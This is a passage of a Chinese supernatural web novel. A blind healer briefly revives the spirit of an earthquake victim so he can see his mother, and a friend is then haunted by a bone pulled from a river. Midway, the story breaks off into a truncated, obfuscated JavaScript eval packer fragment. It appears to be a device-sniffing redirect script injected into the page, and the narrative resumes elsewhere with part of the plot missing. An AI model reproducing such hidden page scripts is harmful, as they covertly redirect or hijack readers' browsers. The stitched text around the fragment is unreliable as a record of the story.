“蓉市天桐巷388号。”卫斯诚慢条斯理地插进一句话,“你们要找的人住在蓉市天桐巷388号。” “你怎么知道?”韩谦的手机震动了一下,他低头看了眼信息——和卫斯诚说的是一个地方。 “谁有谁的渠道,你信我就是了。”卫斯诚瞥了一眼窗外的落日,扯着姜泠要走,“明早见吧各位,现在去拜访人家也太不礼貌了,还是各吃各的饭比较好。” 这次蓉市汇合,洪钟没来,他要留在韩家随时给众人报告韩琮的情况。凌岓来之前和洪钟打了个电话,知道韩谦对姜泠有些不满,也就不打算硬攒在一起吃饭了。 太阳被云遮得严严实实,却丝毫不影响温度不断攀升。上午十点,蓉市已经像蒸笼一样。 天桐巷388号,凌岓开着车绕了两大圈也没找到这个地方。下车三四趟问了五个人,最后停下车再穿过好几条小路才看到一块歪歪斜斜的路牌,上面写着天桐巷三个字。 “388,388…”之胖念念叨叨看着门上的数字,怎么都找不到那个388号门牌。 “看二楼,二楼窗户旁边,那个是不是388?”老郑热得直喘气,一抬眼,刚好看见那个小小的牌子,赶忙拉住打头阵的之胖。 “还真是。”之胖一挥手,拎着提前买好的礼物就要上楼。 这是一栋灰色的老楼,从外表看上去有几十年高龄了。楼门有些矮,凌岓和卫斯诚不得不弯着腰走进去。 一栋楼一共就三层,一层已经没人住了,二楼和三楼只有一户人家门口贴着卷边的春联,这应该就是张贺萍的家。 “您好,有人在家吗?”之胖清了清嗓子,又压了压Polo衫的领子,“您好,社区探望。” 卫斯诚听到“社区探望”四个字,噗嗤一声笑出来,“好新鲜的理由。” 敲了三分钟的门,无人应答。楼道又矮又逼仄,一行人挤在楼道里,也着实是不好受。 尽管楼道里比外面凉快些,汗水还是不停往外冒,之胖艰难转了个身,从裤兜里掏出一张纸擦汗,“走吧走吧,看起来没人,咱下去找个商店等着吧。” “有人上来了。”姜泠没动,接着众人就听见脚步声由远及近。 “你们找哪个?”来人是个年轻姑娘,齐耳短发,两颊热得发红,身上穿着件有些发白的小狗T恤,手里还提着两个有些起球的布袋子。 “您好,您好,我们是社区的工作人员,专门来探望的。请问这儿住的是张贺萍女士吗?”之胖赶忙换上一脸和蔼的笑容问。 “社区探望?”年轻女孩眼睛里全是不信任,她扫了一眼挤在家门口的这群人,语气不善,“这么多年了也没探望,这个时候探望啥子?” “那就是说,张贺萍女士是住在这里吗?”之胖倒是不生气,就着一个问题继续问。 “是。”女孩走上来,其他人自动贴着逼仄的楼道墙给她让路。 “我姑姑生病了,你们等下进去声音不要太大。”说起姑姑,女孩的语气好了一点,她打开门示意众人跟着进去。 “包的拉链没拉好。”凌岓跟在姜泠身后,本想帮忙把她背包的拉链拉住,却无意间碰到了姜泠的手。 姜泠似乎和其他人不在同一个世界,其他人热得冒气,姜泠的手却和冰块一样凉。 凌岓看了一眼姜泠面无表情的脸——一滴汗都没有。他觉得奇怪,却不多问。 10. 第十章 骨肉 房子不大,客厅里有一张皮沙发,上面的皮掉了许多,一眼看过去沙发面上斑驳一片;沙发前有一张小小的玻璃茶几,上面放着一个白色搪瓷缸子。 女孩轻手轻脚从最里面的房间里出来,小声对众人说,“我姑姑还没醒,你们先坐哈,我给你们倒些水。” “我姑姑前两年就生病了,医院去了好多,大夫看了好多,结果也没有好起来。”姑娘提着一个绿色暖瓶,依次把倒满水的纸杯摆在众人面前。 “你叫她姑姑,那陈怀乐是你哥?”卫斯诚礼貌道谢,随口拉起家常。 “对,我是他堂妹,我叫陈怀蓉。”姑娘顿了一下,问卫斯诚,“你们知道我哥哥?” “不…” “我也是蓉市理工大学的,陈怀乐是我学长。” 凌岓怕贸然提起陈怀乐会引起对方的抵触,赶忙打断老郑的否认,“我这两年刚调过来工作,梳理探望名单的时候看到你姑姑的名字,就想过来看一下。” “你和我哥是同学?”陈怀蓉眼睛一亮,“那你等一下,我去喊下我姑姑。” 咳嗽声响起,陈怀蓉搀着一个身形佝偻的女人从房间里走出来。张贺萍今年五十八岁,头发已经花白,整个身子佝着,疾病让她瘦得有些脱相。 “阿姨好!”几个人不约而同站起来伸手去扶张贺萍,对方却忙着招呼他们坐。 “姑,这个是哥哥的同学。”陈怀蓉指了指凌岓。 “好娃娃,快坐快坐。”张贺萍看见凌岓,眼眶立时红了,“乐乐要是在的话,和你差不多大了。” “额…阿姨,实不相瞒,我们这趟来呢,的确是为了探望您。”之胖搓了搓手,看着眼前的老人,反倒不知该怎么说,“但还有一件事情呢,可能需要您帮忙。” “我能帮到你们啥子?”张贺萍不解,一旁坐着的陈怀蓉同样不解。 “跟陈怀乐有关。”韩谦有些着急,一句话不经大脑便脱口而出,老郑赶紧拉住他。 “乐乐?”张贺萍先是一怔,旋即剧烈地咳嗽起来。 “我哥都走了好多年了,你们有啥子事情非要这个时候来说!”见姑姑咳起来,陈怀蓉满脸焦急,语气也变冲了。 “我们…”之胖见状,想要解释,却被姜泠打断。 “阿姨,我们今天来,是为了让您和您儿子再见一面。” 咳嗽刚刚止住,听见姜泠的话,张贺萍又激动起来,眼泪顺着脸上的皱纹流下来,看得人心酸: “乐乐没有死是不是?我就知道他没得事情,他现在在啥子地方?过得好不好?这么多年为啥一点消息都没得!” “他…”之胖看着姜泠,不知道怎么圆场。 “您别激动,这件事情可能有点超乎想象,如果您想知道原委,得先平复一下心情。”凌岓也不拉关系了,索性提前打好预防针,实话实说。 “你们出去!”陈怀蓉瞪起一双充满警惕的眼睛,“当我看不出来吗?你们就是一群骗子!” “蓉儿,让人家把话说完。”张贺萍安抚着身旁的侄女,苦笑道,“你们说嘛,没有啥子不能接受的。蓉儿老汉也是在十二年前走的,她是我带大的,没啥子不能听。” 气氛突然安静了下来。凌岓看向姜泠,“姜大夫,那?” “实话实说吧。”姜泠看不见,但她明白凌岓的意思。 韩琮的经历和众人进山的经历不算短,可从头到尾说完,也不过用了四十分钟。 凌岓掐头去尾隐藏了整件事情中离奇诡异的部分,把这一切都陈述为十九岁的陈怀乐将遗憾托梦给同样十九岁的韩琮。至于为什么是韩琮,他说因为缘分。 张贺萍听完,脸色苍白,许久不开口。 看见她的样子,陈怀蓉也不知道该说些什么。即便凌岓所述的故事已经没有什么太奇怪的情节了,陈怀蓉依旧觉得匪夷所思。 “你们要我做啥子?”张贺萍在发抖,连带着她的声音也在发颤,“你们说能再见到乐乐,咋个见?” “您还认得这个吗?”塑料膜包裹着的东西被推到了张贺萍面前。 老人干瘪的手拿着那个变形的盖子,浑浊的眼睛反反复复看着它。 凌岓本想告诉她这是什么,却听见老人说,“这是他上学的时候给他买的,上大学的时候。” 银白的小蛇从姜泠口袋里探出头,发出极细的“嘶”声。 “我们那时候忙得很,一年到头也就能回去呆两三天。”老人回忆着,脸上露出极为痛苦的笑容,“乐乐是个乖娃儿,和他婆婆一起住,小的时候就懂事,帮着婆婆干好多事情。” “这样最好。”姜泠看着眼前的老人,说不出来是种怎样的情感,“接下来,您配合我,就能见到您的孩子。” “需要我出去放哨吗?”卫斯诚坐正,扫视一圈在场众人。 “不用。” 黑色的蛇从发簪上爬下来的时候,众人才发现蛇形簪上的“蛇”是真蛇。之胖不动声色往后挪了挪,和黑蛇保持距离。 这条蛇长着一双浅蓝色的竖瞳,尾巴处有一点点白,细细看去倒挺好看。 它颇为丝滑地游上了张贺萍的胳膊,老人原本也被这蛇吓了一跳,可对上那双蓝色瞳孔时,心里的恐惧又莫名消失了。 蛇的尖牙咬住了杯盖边缘,毒液顺着牙齿注入其中。姜泠不知什么时候半跪在张贺萍身前,神色温柔。 如果不是她手上的短刀划开了老人的指尖,众人几乎就要以为她转行做心理咨询师了。 十指连心,指尖血滴进杯盖中,和蛇毒混在一起,盖中登时散发出一道刺眼的白光。 骨洞中的半截肋骨原本静静躺在她手边,现下被这道白光一闪,消失了。 “妈?”陌生的声音在众人中间响起,老郑看清楚突然出现的人时,差点没脱口而出一句国粹。 年轻人穿着十二年前出事时的格子衬衫和牛仔裤,脚下蹬着一双黑白相间的帆布鞋。他看向老人时眼睛里全是难以置信,可那副腼腆的笑容却和邮箱里的照片一模一样——这是陈怀乐。 “乐乐?”老人一时间不知该如何反应,她那双发黄又干瘪的手犹豫又犹豫,颤颤巍巍伸出去,直到摸到年轻人的面庞时,才算松了口气。 “这算不算真的见鬼了?”之胖小声跟凌岓说。 “不知道,可能是科学还不能解释的现象吧。”凌岓也是第一次见到这样的场面,多少有些瞠目结舌。 “我觉得,我们留在这里不太合适。”卫斯诚看母子俩和陈怀蓉泪水涟涟的样子,觉得他们这群人属实没有眼色。、 “那个,那我们先,先出去找点饭吃。”老郑拍了拍陈怀乐的肩膀——是真人,能拍到! 张贺萍本想挽留,众人推辞着拒绝。出门前,姜泠对陈怀乐说,“你只有一天的时间,一天之后,必须离开。” 陈怀乐看着姜泠,点了点头,“谢谢。” 外面热得人发昏,火锅店的冷气吹得人头疼,红油锅咕嘟咕嘟冒着泡,肥牛卷下进去好久了,桌子上的人却迟迟没有动筷。 “多吃点,多吃点。”张贺萍不停夹菜,陈怀乐面前的小碗很快就堆地和小山一样了。 “我不饿,妈,你吃,你吃。”他看着眼前的食物,又看着头发花白的母亲,眼睛酸涩,却没有眼泪可以流。 “这么说,就算他活过来了,也不能像正常人那样吃饭喝水睡觉?” 另一家店里,之胖刚把一盘吊龙涮进锅中,嘴上还不忘问姜泠。 “对。”姜泠的回答一如既往干脆,能不多说绝不多说。 “不仅如此,他还只能在这儿待一天,一天之后,无论愿不愿意,他都得走。”卫斯诚不爱吃辣,盛了满满一碗麻酱。 “姜大夫,这是什么原理呢?”老郑看着姜泠,把心里的疑惑问出来,“这个世界上真的有?” 韩谦放下筷子,满脸好奇。此时也顾不得什么医德问题了,他也想知道姜泠怎么能大变活人,让陈怀乐出现在这里。 “不知道。”姜泠实话实说——她确实不知道。从她记事开始,师父就教给她这些,其中原理,她也不清楚。 “额,这个也不是活见鬼。”卫斯诚试图解释,“这其实也是一种科学,你说是吧姐。” “嗯。”姜泠想了想,挤出一句,“是科学,但可能现在的科学水平还解释不了。” 凌岓闻言,眼皮跳了一下。他有很多问题想问,但一碗冰粉下肚,他只问出一句,“明天之后,陈怀乐会去哪?” “不知道。”姜泠摇摇头,“但这里不是他的归宿。” “弥补完遗憾之后,他会和普通的逝者一样,去该去的地方。”姜泠想起师父提起过的海,心下一片茫然。 “唉,人活着哪能没有遗憾。”之胖不知想起什么,只自顾自感叹着,“有的事情,活着做不了,死了没机会,再重来一次,怎么弥补啊?” 饭后,张贺萍硬拉着陈怀乐去商场,买了好几身新衣服才算作罢。 江水粼粼,陈怀蓉和陈怀乐一人一边搀着张贺萍在蓉市的滨江大道边散步。 十二年没见,张贺萍心里有无数话要说。她在儿子很小的时候就外出打工了,对于儿子的成长,她错过了很多亲眼见证的机会。 但即便如此,谈起陈怀乐的喜好、小时候的趣事,她仍旧如数家珍。 “都是妈妈不好,那个时候把你和婆婆放在老房子里头。”张贺萍在那次灾难后,无时无刻不在后悔,却于事无补,“要是早一年把你带到广州,就没得这些事情了” 说起婆婆,陈怀乐眼睛一酸,“妈,婆婆后来,救出来了吗?” “没有。”张贺萍摇摇头,记忆里的废土在眼前浮现,“我走了两天走到家里,哪还有家的样子,只剩下石头了。” “阿叔勒?”陈怀乐摸了摸妹妹的头,语气温和。 “你阿叔没得了,城里头的房子塌到地底下去了,人也不见了。” 灾难之后,张贺萍成为家里最大的顶梁柱,也是唯二的幸存者。 事发时,张贺萍在蓉市车站转车。天旋地转混杂着人群的哭嚎尖叫之后,她才知道地震了。 走回东县的那天,她的鞋子被磨出两个巨大的洞,大拇指磨出了血。张贺萍不觉得疼,看着眼前化为齑粉的家,她甚至都哭不出来。 听人说见到和儿子长得很像的孩子在县城里帮忙,她马不停蹄赶到县城去,却扑了个空;听说学校下面还有许多人活着,她就又掉转方向,和认识的、不认识的人们一起用手搬开一块块断裂的砖块和水泥板。 三天之后,废墟下的哭喊声少了很多。救援队抬出一具具冰凉的身体,张贺萍觉得自己的心是麻木的。她掀开每一张白布看,她日思夜想的面孔却始终没有出现。 看见陈怀蓉的时候,她才又活过来,才又真真切切感觉到自己还是一个活着的人,姑侄俩抱头痛哭,自此之后相依为命。可不知陈怀乐埋骨何处这件事,始终是张贺萍心里无法愈合的伤痛。 “那个时候在山上,还 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印象里,一年到头只能见到妈妈一两次,每次也就短短两三天。但每次,妈妈都会把他抱在怀里或拉着他的手,陪他读书,给他带许多小东西和小零食。 收到录取通知书的那天,张贺萍带陈怀乐和婆婆去广州。在那里,他照了那张照片,收到了刻有他名字的保温水杯。 地震前两天,张贺萍来电话说要回趟家,陈怀乐专门给老师请了假,坐车回到东县,就为了见母亲一面。 霓虹灯把江水染出好看的颜色。陈怀乐没告诉母亲,在被山石砸中的瞬间、在濒死之际,他曾喊过成百上千声妈妈。 十二年间,出现的新事物太多,对于陈怀乐而言,一切都是陌生又有趣的。 回到东县是来不及了,陈怀蓉给哥哥找了网上的图片和视频,告诉他曾经的家乡现在是什么样子;张贺萍想给儿子买部新手机,陈怀乐拒绝了,“妈,我明天就走了。” 这句话说得像要出远门一样轻松,张贺萍没说什么,却执意买下那部新手机。 时间比江水流淌的速度要快许多,次日正午刚过,张贺萍家的门便被扣响了。 “时间快到了。”姜泠站在门口,轻轻说道。 “还有五十分钟。”陈怀乐看了一眼白墙上挂着的圆盘钟,邀请来人进门,“进来坐坐吧,我妈做的芋儿鸡最好吃了。” “不必了。”姜泠拒绝,“我就在楼下,时间到了再来。” 张贺萍很久没有做过饭了——她的体力精力也不允许她再长时间站在那儿。饶是如此,她还是倔强地站在厨房里和陈怀蓉一起忙活。 听见姜泠和陈怀乐的对话,她控制不住地流眼泪。陈怀蓉在一旁默默叹气,轻轻帮姑姑擦去眼泪。 “乐乐,吃饭了。”陈怀乐看见妈妈脸上挂着笑,他庆幸母亲没听到自己和姜泠的对话。 逝者无法进食,陈怀乐却还是不停地夸着面前的菜有多好吃。 他突然想起某一次妈妈回广州前对他说,有时候撒谎是出于一种爱。那时候他不理解,觉得撒谎就是撒谎,没什么可找补的理由,但许多年后的今天,他竟然明白这句话的意思了。 姜泠再来的时候,屋子里的人都已经做好了心理准备。之胖和老郑没来,他们说见不得这种离别的场景,所以只有韩谦、卫斯诚和凌岓跟着上了楼。 “乐乐,你好好走,要是有下辈子,莫做我的小孩了。”张贺萍本来笑着的,说到这里,眼泪骤然决堤。 “妈,你和妹妹都保重。”这是陈怀乐最后留下的一句话。 破旧的杯盖仍旧在茶几上放着,姜泠把那根象牙色的骨头还给了张贺萍。 “这是属于他的,您收好。”她向来不会安慰人,即便心里泛起难过的情绪。 “谢谢你们。”张贺萍接过那根骨殖,对着姜泠他们鞠了个标标准准的躬。 回酒店的路上,洪钟来电话说韩琮醒了,精神也好了,众人这才松了口气。 韩仲先嘱咐韩谦把一众人带回巴那,要郑重其事地表达谢意。姜泠和卫斯诚说还有别的事情,没法和他们一起回去。韩谦当晚便在蓉市请他们吃饭。 一顿饭吃下来,韩谦心里那点儿不满早就抛到九霄云外去了。卫斯诚更是和凌岓、之胖称兄道弟起来,还拿出一瓶古法酿造的老酒请众人喝。 “搞定了?”回到酒店,等办完退房,姜泠才问出口。 “搞定了,他们绝对不会记得的。”卫斯诚拍了拍胸脯,一脸笃定。 蓉市的天气预报宣告雨季结束。日上三竿,凌岓才从梦里被人摇醒。 “凌子,吃什么?”之胖递给他一瓶矿泉水。 “随便。”凌岓刷完牙,想起在张贺萍家的场景,打趣道,“你不错啊,看见蛇都不怕了。” “蛇?”之胖一脸茫然,“什么蛇?” “你失忆啦?”凌岓伸手摸了摸之胖的额头,确认对方没发烧。 “哪来的蛇?”遇到老郑和韩谦的时候,这俩人也这么问。 “陈怀乐?”老郑伸手探了探凌岓的额头,“凌子你发烧了吧,陈怀乐不是去世了吗?啥时候又见过他了?” 凌岓一怔,周围的人似乎都忘了在张贺萍家发生的事情。想起姜泠,他总觉得这是她做的。凌岓想打个电话问问情况,却发现没有姜泠和卫斯诚的联系方式。 “强子还是昏迷不醒。”蓉市私立医院病房里,卫斯诚站在病床前看着床上躺着的人,眉头紧皱。 “家里来消息了,有人要找我们谈一谈。”姜泠起身,面如寒冰。 11. 第十一章 河中骸影 收到韩仲先打来的尾款是三天后,彼时,凌岓、老郑和之胖三人已经各回各家作休整了。 “我说你啊,成天胡跑八跑,也没个对象。”说话的人是凌岓的母亲何槿颐。 何女士是大学教授,平日里举止从容仪态优雅,对谁都是温柔可亲的样子。虽然念叨好大儿凌岓是日常,但她从不横加干涉凌岓本人的选择。 “找什么对象,现在这样不是挺好的?”凌岓嘴里叼着一个苹果,手上还削着一个苹果,“一人吃饱,全家不饿,多好。” 何女士不动声色地翻了个白眼,侧坐到另一边继续看书。 电话响起,何女士接到耳边不过十秒,说了句“请稍等”,便把话筒递给了凌岓,“找你的。” “您好,凌岓,您哪位?” 通话简短,凌岓说了一句“好的”和一句“节哀”就挂断了电话。他跑上楼收拾行李,很快便拖着箱子下来了。 “又要上哪去!”何女士合上书,一双眼睛像鹰一样盯着凌岓,“才回来多长时间又跑!” “妈,一个朋友的家里人去世了,我去帮帮忙。”凌岓把母亲一把揽住,“过两天就回来,我保证!” 张贺萍的葬礼十分简单,来吊唁的人也不多。按照陈怀蓉的说话,一大家子人,大多数都埋在十二年前了。 “节哀。”凌岓和之胖、老郑朝着张贺萍的遗照鞠了三个躬,转身塞给陈怀蓉一个信封。 “不能要,不能要。”陈怀蓉连连摆手,“你们毕竟也算帮过我姑姑,不能要你们的钱。” 正说着,两个大汉抬着两个比其他人送的大上好几倍的花圈走进殡仪馆。 身后的人一身黑西装紧跟进来,墨镜一摘,鞠躬三次。然后转身,把信封放在了门口记礼金的人那里。 “卫斯诚。”凌岓的声音不大不小,刚刚好落进黑西装的耳朵里。 黑西装脚步一顿,转身,伸手,露出标准的微笑,“凌哥,你们也来了。” “嗯,接到电话了。” “怎么认出我的?”卫斯诚凑近一点问。 “你那个花圈上的名字写得有点大。” 卫斯诚顺着凌岓的目光看过去,果不其然,其中一个花圈上用斗大的字写着:晚辈姜泠、卫斯诚敬上。 “嘿嘿。”卫斯诚下意识摸了摸后脑勺,见陈怀蓉和之胖他们也走过来,立刻变正经了,“节哀。” “卫大哥,这个钱我不能收。”陈怀蓉一视同仁,把信封塞回卫斯诚手里。 “拿着吧,我姐说了,这是心意,能遇到也算缘分。”话锋一转,卫斯诚又问,“阿姨怎么这么快就?” “我哥走了以后,姑姑就不好了。”陈怀蓉擦擦眼泪,从随身的挎包里掏出一张便签纸,“等火化的时候,把这个也烧给姑姑。” 几个人凑上去一看,便签纸上工工整整写着一句话:下辈子,陈怀乐还是张贺萍的儿子。 “姜大夫,没跟着一起来吗?”凌岓把便签纸还给陈怀蓉,转头问卫斯诚。 “嗯,她有别的事,我替她来。”突然问起姜泠,卫斯诚只好搪塞过去,生怕自己说漏嘴。 凌岓不再多问,只笑了笑。 参加完葬礼,几个人匆匆道别,又各自忙各自的事情去了。 凌岓本来已经定了回家的机票,结果中途接到发小的电话,说有重要的事情要他帮忙。他追问什么事,对方却又神秘兮兮地说电话里不方便讲。 凌岓人缘好,但真正了解他的朋友一只手也能数得过来,这位发小就是其中之一。 本着为朋友两肋插刀的信条,他果断退票,改坐高铁前往下一个目的地——安城。 “高铁站地下停车场二楼A区等你。” 收到信息,凌岓跟着车站指示牌走到停车场,一眼就看到斜倚在车旁的关扬。 “来啦。”车旁的人看见凌岓,立刻起身接过他的行李。 关扬和凌岓从小一起长大,前两年还是高高壮壮的,现在却瘦了一大圈。他眼睛下面挂着两个巨大的黑眼圈,努力想笑一笑,但笑出来还是一脸愁容。 车上的烟灰缸已经快被大大小小的烟头塞满了,关扬心里的郁闷也快积满了。 “你这是熬了几天没睡?”凌岓系好安全带,盘算着要不要换自己来开车。 “也就三天吧。”关扬把钥匙一转,手却被副驾的人死死按住了。 “还是我开吧。”凌岓的眼神里有震惊,但更多的是担心。 “什么情况?”一路上全是红灯,凌岓用余光瞥了一眼关扬发青的脸。 “我觉得我大概是中邪了。”关扬的回答有气无力,像是被吸干了精气。 “你是不生病了?去医院看了吗?” “不是生病。”原本瘫在座椅上的关扬猛地坐起来,直勾勾盯着凌岓,看得人发毛,“我没有不舒服,我就是中邪!中邪!” “好好好,中邪。”凌岓顺着他的话又问,“那有没有找个大师给看看?” “有,找了好几个。”关扬又瘫回去,“钱花了不少,屁用不顶。” 目的地在安河公园对面的鲜鱼馆门口,关扬托着步子带凌岓往包间走,后者生怕他随时会一个倒栽葱倒过来。 “就我俩?”凌岓看着空荡荡的包厢和一桌子的菜,觉得有些浪费,“你之前不是说你对象也来嘛。” 不知是不是错觉,凌岓分明看到关扬在听到“对象”两个字时,脸色变了变。 “一会儿还有一个人来。”关扬挂好衣服,又叮嘱服务员不要进来,这才安稳坐下。 “好久没见了,走一个?”酒杯举起,关扬脸上却没什么久别重逢的喜悦。 “说完正事儿再碰吧。”凌岓象征性地举了举杯子,等待对方开口。 关扬猛猛搓了几下脸,搓到两颊通红才停手,“我好像是被什么东西缠上了。” 关扬大学是读新闻专业的,毕业以后先是在省电视台当了两年记者,辞职以后自己和几个工作里认识的朋友一起做自媒体,专门跟进一些社会热点。 比起一些浅尝辄止凑热闹的报道,关扬的文章都经过深入的实地考察,弄清楚前因后果之后才动笔。对于一些事件和现象,他的分析总是鞭辟入里的,几年下来,粉丝也积累了不少。 一年前,为了跟进一宗违规排污的新闻,关扬和同事贺一川前往黔西南的一个山区村落住下。 前几天的调查都还顺利,偶尔有点心跳飙升的暗中跟踪对于关扬而言也是家常便饭。 接下来的戏码也实属常见:老板威逼利诱继而跑路未遂、受害村民实名举报引爆舆论、警方介入、证据确凿、工厂老板痛哭流涕表示悔不当初、各路记者深挖关联信息… 热度散去,关扬和贺一川成为最后一波离开的媒体。 离开的前一天,贺一川提出到村子周边转转,权当放松一下连续几天都高度紧张的精神。关扬想一想,同意了。 黔西南多山,素有“万峰成林”的名头。走在这里,关扬只觉得内心畅快极了——清可见底的泉水溪流穿过木桥、花树,远处的群山影影绰绰,这是国画里才能见到的景色。 “这里面有鱼吗?”关扬问走在前头给二人领路的一个本地男孩。 “有!”男孩叫万承祖,今年十三岁,皮肤黑黝黝的,性格开朗,做事利索。 见关扬和贺一川二人不信,万承祖索性脱了鞋,掰下一截又粗又长的树枝扎进河里。 “诶诶诶,小心点儿!”两人异口同声喊起来。 想起每年暑假学生游野泳溺亡的新闻,关扬冷汗直流,刚打算脱了鞋把万承祖捞上来,男孩已经站起身了。 “叔叔,有打火机吗?”万承祖的树枝上戳了一尾还在挣扎的鱼,他举起鱼晃了晃,“我们可以吃原汁原味的烤鱼!” “有…”关扬的打火机从口袋里露了个头,又被塞了回去——周边全是树林,他怕引起火灾,“走吧,回家再吃。回头把这儿燎着了都得完蛋。” “好。”万承祖举着鱼,朝岸边靠近。 “噗通”一声,也不知踩到了什么,关、贺二人只见万承祖又摔进河里,溅起一大片水花。 “我的个老天爷啊!”也顾不上脱鞋了,关扬一脚踏进河里就去捞人。 除了猝不及防摔倒时呛了两口水外,男孩没受什么伤,只是那个叉着鱼的树枝不见了。 “行了行了,你先上去,我来找。”关扬看男孩一脸失望,撸起袖子亲自上阵。 这条河不深,水流刚刚到关扬腰部。他微微弯下腰在河底摸了摸,摸到一个长条形物体,估摸就是那根树枝,便想也没想捞了上来。 “啊——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天中午,关扬回家,门口放着一个快递盒子。起初他以为是送错了,可收件人信息上明明白白写着“关扬”,手机号码也是他的,他只好拿回家拆看。 “你敢相信吗?”关扬扯着自己的头发,声音不自觉提高,“三个月前河里的人骨头被寄到了我家,我家!” “我信。”凌岓轻拍着关扬后背,试图让他放松下来。 “我想跟贺一川说这件事,可是人不见了。”说话的人惊慌失措掏出手机给凌岓看,贺一川的名字后面标着“(501)”——501通电话,没有一次接通。 收到快递之后,关扬还不算太惊恐,贺一川的失踪才是真正点燃他恐惧情绪的导火索。 先是三个号码都占线;然后是工作号和私人号都无人应答;所有的社交软件都没人回复,贺一川最后一次更新动态的时间也停留在三个月前回到安城的那天。 好不容易熬够四十八小时,关扬立刻报了警。警方立案之后迅速调了监控——贺一川在他收到快递的前一天凌晨离开小区,此后再没回来过。 “我们会继续跟进这起案子,一有消息会立刻通知您。” 调查之后,办案民警告诉关扬:贺一川是孤儿,现下没有能联系到的亲属,之后跟进的情况会及时反馈给他。 “我每天晚上都在重复那个梦,我现在只要闭上眼睛就能看见那个小女孩。”关扬紧紧攥着凌岓的胳膊,眼眶发红,“那根骨头烧不烂,埋不掉,不管我把它扔多远,第二天都能在家里看到它。” “冷静,冷静。”凌岓听着,也觉得离奇,他不停安慰着这位发小,生怕他做出什么过激举动。 “我没病。”关扬突然抬起头看着凌岓,“心理医生说我是被害妄想症,可是我知道我没病,我是被缠上了。” “我这次找你来,就是想让你和我一起把这事儿处理掉。如果可以的话,再帮我找找贺一川。”关扬像抓着救命稻草一样抓着凌岓,生怕他不答应跑路。 “好好好,我相信不是你的问题。” 凌岓倒了一杯果汁递给关扬,语气冷静,“你不是说把它扔了之后会自己回来嘛,那我今天陪你一起扔,我倒要看看它是怎么跑回来的。” 12. 第十二章 重逢 安城鲜鱼馆的鱼做法多样,味道鲜美。凌岓向来最爱吃鱼,可这顿饭吃得索然无味。一顿饭结束,第三位客人也没来。 关扬焦躁不安地看了看手机,最后得知对方临时有事的消息,才松了口气——贺一川失踪以后,他就变得疑神疑鬼,有时候一天能给家里人打十几个电话问平安。 关扬家就住在安河公园旁边的安河花园,从鲜鱼馆出来,步行也只用十分钟,开着车,一转眼的功夫就到了。 “随便坐。”关扬家在十九楼,输完门锁密码,他从鞋柜里抽出一双新拖鞋给凌岓。 这套房子的布局很好,三室两厅,坐北朝南。一条开阔的大阳台能看到大半个安城的夜景。 四四方方的客厅里摆着一张价格不菲的实木茶几和沙发;电视柜上没有电视,只有关扬这些年来获得的各类奖项和一张他同年轻女孩的合照。 合照旁边摆着一尊铜像,看起来不像菩萨不像佛,更像是东南亚一带的神。铜像面前放着一个香炉,里面的香灰已经漫溢出来,关扬也懒得清理。 “就是这个。”凌岓参观客厅的空档,关扬从边柜里拿出一个盒子。 打开盒子,里面赫然是一段人类的胫骨和一只脚骨。从长度和大小上来看,不像是成年人的。 “什么办法都想过了,水淹、土埋、火烧,就是不行。”关扬盯着盒子,精神快要崩溃了。 “再扔一次试试。”凌岓也想不出什么办法,他打算先亲眼看看究竟有多离谱。 车行至二十公里以外的郊区,路灯早已没有了,月色倾泻在车前盖上,依稀还能听到几声狗叫。 “就这儿吧。”关扬打了个寒颤,看了看四周,“这够远了,鸟不拉屎的地方没人来。” 车后备箱里放着一小桶汽油和一瓶灭火器,关扬提在手里——这是今晚要用到的工具;凌岓拎出一把铁锹和两大桶水,把车锁好之后,抱着盒子和关扬往两边的树林里走去。 “这鬼地方还没开发,咱不会遇到坏人吧。” 树林里静得吓人,枝叶把月亮挡得严严实实,一丝光都透不出来。关扬打着手电,攥紧手里的汽油,心底莫名涌上一股寒意。 “我觉得咱俩比较像坏人一点。”凌岓看了看汽油,又看了看自己手里的铁锹,总觉得自己现在像个犯罪分子。 “就这儿吧,就这儿吧。” 走了一段时间,听到潺潺水声,凌、关二人决定就在此停步。 关扬咬咬牙,把盒子里的胫骨和脚骨用铁锹拍了个稀碎;然后再用汽油把整个盒子前前后后淋了个透,这才用打火机点燃。 凌岓提着灭火器,随时准备扑灭扩张出去的火星。好在一直到整个盒子烧成灰,火势也没有蔓延。 “浇水浇水。” 明火灭了,两桶水把余烬浇了个透,关扬又用脚使劲儿踩了几下,再和凌岓用铁锹把这堆灰烬用旁边的泥土埋起来,这才算完。 “我俩真不像好人。”一整套活儿干完,凌岓觉得热得慌,抹了把额头上的细汗,笑道,“我们像那种午夜抛尸的犯罪分子,反正不是好人就对了。” “你说,明天不会再回来了吧。”关扬盯着那堆被压瓷实的土,没心思回应玩笑话。 “放心吧。”凌岓收起铁锹,看着关扬的样子,只拍了拍他的肩膀,那句“回来也没事,见招拆招”生生被咽回了肚子。 “救命啊!救命——” 两人正要走,忽然听见附近传来一阵女孩的尖叫声。凌岓和关扬打了个手势,循着声音的方向摸过去。 “咳咳,饶…饶命…” 凌岓和关扬赶到声音发出的地方时,被眼前的景象惊住了—— 五大三粗的男人被一个身着衬衫、扎着高马尾的姑娘掐住脖子抵在树上,看样子已经昏死过去;两个人旁边坐着一个瑟瑟发抖的女孩子,此刻正呜咽着低声哭泣。 掐人的姑娘胳膊纤细,借着手电光看过去,她的手臂只有凌岓胳膊的一半粗。 “姜大夫?”凌岓犹疑着开口。 女孩闻言松开了手,男人软软从树上滑下来,像一滩烂泥一样倒在地上。 “凌岓。”姜泠拍了拍手,走到女孩身旁,把她身上滑落一半的外套又往上盖了盖,轻轻安抚着,“没事了,没事了。” “小妹妹,你还记得你家在哪里吗?我们送你回家。”凌岓从后视镜里看见女孩的情绪稍微稳定一点,这才温柔发问。 “我家不在这里。”女孩抽抽嗒嗒流着眼泪,姜泠搂着她,轻轻摩挲着她的后背。 “唉,吃点东西,送警局吧。”关扬从车里翻出两块蛋黄派和一瓶水递给女孩。 “小妹妹,你叫什么名字?” 安城市公安局内,几人恰好碰上受理贺一川失踪案的民警值班。这位民警是位老警察,经手的这类案子也不少,面对蜷缩在长椅角落里的小女孩,态度温和得像春风一样。 “我…我叫周盼,盼望的盼。” “这么晚了,你们去那儿干什么?” 